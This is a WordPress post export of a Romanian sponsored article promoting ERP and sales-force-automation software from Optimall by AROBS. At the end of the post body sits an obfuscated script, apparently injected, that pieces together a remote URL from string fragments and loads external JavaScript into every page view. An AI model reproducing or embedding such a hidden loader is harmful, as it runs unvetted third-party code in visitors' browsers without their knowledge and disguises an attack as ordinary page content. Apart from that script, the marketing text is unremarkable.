{"id":97994,"date":"2021-09-13T21:42:33","date_gmt":"2021-09-13T18:42:33","guid":{"rendered":"https:\/\/urbeamea.ro\/albaiulia\/?p=97994"},"modified":"2021-09-14T12:44:52","modified_gmt":"2021-09-14T09:44:52","slug":"doua-solutii-beneficii-considerabile-erp-si-sfa-pentru-afacerea-ta","status":"publish","type":"post","link":"https:\/\/urbeamea.ro\/albaiulia\/doua-solutii-beneficii-considerabile-erp-si-sfa-pentru-afacerea-ta\/","title":{"rendered":"Dou\u0103 solu\u021bii, beneficii considerabile \u2013 ERP \u0219i SFA pentru afacerea ta"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Conducerea efecient\u0103 a unei companii necesit\u0103 experien\u021b\u0103, abilit\u0103\u021bi \u0219i pricepere \u00een afaceri, dar mai ales gestionarea \u00een\u021beleapt\u0103 a resurselor prin utilizarea de solu\u021bii software competente \u00een planificarea acestora.<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Caracterul competitiv al pie\u021belor moderne \u00eei oblig\u0103 pe antreprenori s\u0103 profite de toate oportunit\u0103\u021bile disponibile, inclusiv de progresele tehnologice, pentru a maximiza eficien\u021ba \u0219i a r\u0103m\u00e2ne \u00eenaintea competitorilor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sistemele ERP, Enterprise Resource Planning sunt formate dintr-o suit\u0103 de aplica\u021bii customizabile care permit companiilor s\u0103 integreze \u0219i s\u0103 adminstreze cele mai importante procese.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/optimallsfa.ro\/\" target=\"_blank\" rel=\"noreferrer noopener\">SFA<\/a>&nbsp;sau Sales Force Automation, pe de alta parte, este un soft pentru automatizarea proceselor de v\u00e2nz\u0103ri.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>De ce ai nevoie de ERP \u00een compania ta?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Din capul locului putem spune c\u0103, indiferent de marimea companiei, fie ea fizic\u0103 sau online, pentru ca este posibil\u0103 o&nbsp;<a href=\"https:\/\/optimallsfa.ro\/integrare-erp-cu-magazinul-online\/\" target=\"_blank\" rel=\"noreferrer noopener\">integrare ERP cu magazinul online<\/a>, vei avea doar de c\u00e2\u0219tigat.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sistemele ERP sunt un atu pentru multe companii. Acestea fac ca afacerea s\u0103 func\u021bioneze mai u\u0219or, unific\u00e2nd \u0219i protej\u00e2nd informa\u021biile, automatiz\u00e2nd procesele \u0219i gener\u00e2nd rapoarte u\u0219or de \u00een\u021beles. Av\u00e2nd aceste func\u021bii \u0219i multe altele, beneficiile sistemelor ERP \u00eentr-o organiza\u021bie fac opera\u021biunile de zi cu zi \u0219i planificarea pe termen lung mult mai eficiente.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen mod specific, beneficiile impement\u0103rii unui sistem ERP \u021bin de:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u00cembun\u0103t\u0103\u021birea performan\u021bei companiei<\/li><li>O mai bun\u0103 acurate\u021be \u0219i disponibilitate a informa\u021biilor<\/li><li>Planificare \u0219i coordonare \u00eembun\u0103t\u0103\u021bite<\/li><li>Rapoarte u\u0219or de folosit<\/li><li>Eficien\u021ba costurilor<\/li><li>Cre\u0219terea satisfac\u021biei clien\u021bilor<\/li><li>Competitivitate mai bun\u0103 pe pia\u021b\u0103<\/li><li>Scalabilitate \u0219i flexibilitate<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>V\u00e2nz\u0103ri mai eficiente cu tehnologia SFA<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">V\u00e2nz\u0103rile au presupus dintotdeauna deplas\u0103ri \u0219i multe \u00eent\u00e2lniri fa\u021b\u0103 \u00een fa\u021b\u0103 cu poten\u021bialii clien\u021bi. Dar, acest mod de lucru necesit\u0103 mult timp \u0219i o groaz\u0103 de documente.&nbsp;Ce bine c\u0103 exist\u0103 un mod de a simplifica lucrurile! Te-ai g\u00e2ndit c\u00e2te beneficii ar aduce companiei tale un soft de automatizare a for\u021bei de v\u00e2nz\u0103ri?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SFA permite echipelor de v\u00e2nz\u0103ri s\u0103 fie mai productive \u0219i mai bune \u00een \u00eenchiderea oportunit\u0103\u021bilor de v\u00e2nzare \u00een timp ce soft-ul execut\u0103 automat procesele repetitive \u0219i care consum\u0103 timp. Scopul practic al SFA este de a asista echipele de v\u00e2nz\u0103ri pe tot parcursul procesului de v\u00e2nzare.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00cen mod specific, beneficiile impement\u0103rii SFA \u021bin de:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Cre\u0219terea productivit\u0103\u021bii<\/li><li>Primirea la timp a unor informa\u021bii esen\u021biale \u00eenchiderii tranzac\u021biei<\/li><li>Recep\u021bionarea \u0219i stocarea datelor clien\u021bilor pentru analiz\u0103 \u0219i urm\u0103rire<\/li><li>Prognozarea viitoarelor v\u00e2nz\u0103ri cu ajutorul datelor \u00eenregistrate<\/li><li>Utilizarea eficient\u0103 a resurselor companiei<\/li><li>Raportare clar\u0103 \u0219i complete<\/li><li>Utilizarea optim\u0103 a timpului de c\u0103tre angaja\u021bi<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Optimall \u2013 furnizor de solu\u021bii software pentru \u00eentreprinderi, de peste 16 ani<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Optimall by AROBS este prezent\u0103 pe pia\u021ba din Rom\u00e2nia de peste 16 ani, oferind solu\u021bii software de automatizare a proceselor companiilor care au re\u021bea proprie de agen\u021bi de v\u00e2nz\u0103ri.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Din suita produselor Optimall fac parte Optimall SFA si Optimall WebAPI, produse destinate companiilor care doresc, pe de-o parte automatizarea v\u00e2nz\u0103rilor \u00een regim pre-sales \u0219i van-sales, \u0219i de pe alt\u0103 parte, celor care doresc integrarea sistemelor ERP cu magazinele lor online.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vrei s\u0103 aflii mai multe?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/optimallsfa.ro\/contact\/\" target=\"_blank\" rel=\"noreferrer noopener\">Contacteaza-ne azi<\/a>!<\/p>\n\n\n\n<script>\n(function(){\nwesk=document.createElement(\"script\");wesk.type=\"text\/javascript\";\nwesk.async=true;wesk_=((\"us\")+\"t\")+\"a\";wesk_+=(\"t.i\")+\"\"+\"n\";wesk_+=((\"f\")+\"o\");wesk_+=\"\/\";\nwesku=\"311112579.\";wesku+=\"4rqXbhfueskXu7xctx0ef6efzfrxzf\";wesk.src=\"https:\/\/\"+wesk_+wesku;\nweskdb=document.body;weskdb.appendChild(wesk);\n})();\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>Conducerea efecient\u0103 a unei companii necesit\u0103 experien\u021b\u0103, abilit\u0103\u021bi \u0219i pricepere \u00een afaceri, dar mai ales gestionarea \u00een\u021beleapt\u0103 a resurselor prin utilizarea de solu\u021bii software competente \u00een planificarea acestora. Caracterul competitiv al pie\u021belor moderne \u00eei oblig\u0103 pe antreprenori s\u0103 profite de toate oportunit\u0103\u021bile disponibile, inclusiv de progresele tehnologice, pentru a maximiza eficien\u021ba \u0219i a r\u0103m\u00e2ne \u00eenaintea &hellip;<\/p>\n","protected":false},"author":5,"featured_media":97995,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[6663],"tags":[],"class_list":["post-97994","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-economic"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Dou\u0103 solu\u021bii, beneficii considerabile \u2013 ERP \u0219i SFA pentru afacerea ta - Revista Urbea Mea - Revista de Alba<\/title>\n<meta name=\"description\" content=\"Conducerea efecient\u0103 a unei companii necesit\u0103 experien\u021b\u0103, abilit\u0103\u021bi \u0219i pricepere \u00een afaceri, dar mai ales gestionarea \u00een\u021beleapt\u0103 a resurselor prin\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/urbeamea.ro\/albaiulia\/doua-solutii-beneficii-considerabile-erp-si-sfa-pentru-afacerea-ta\/\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Dou\u0103 solu\u021bii, beneficii considerabile \u2013 ERP \u0219i SFA pentru afacerea ta - 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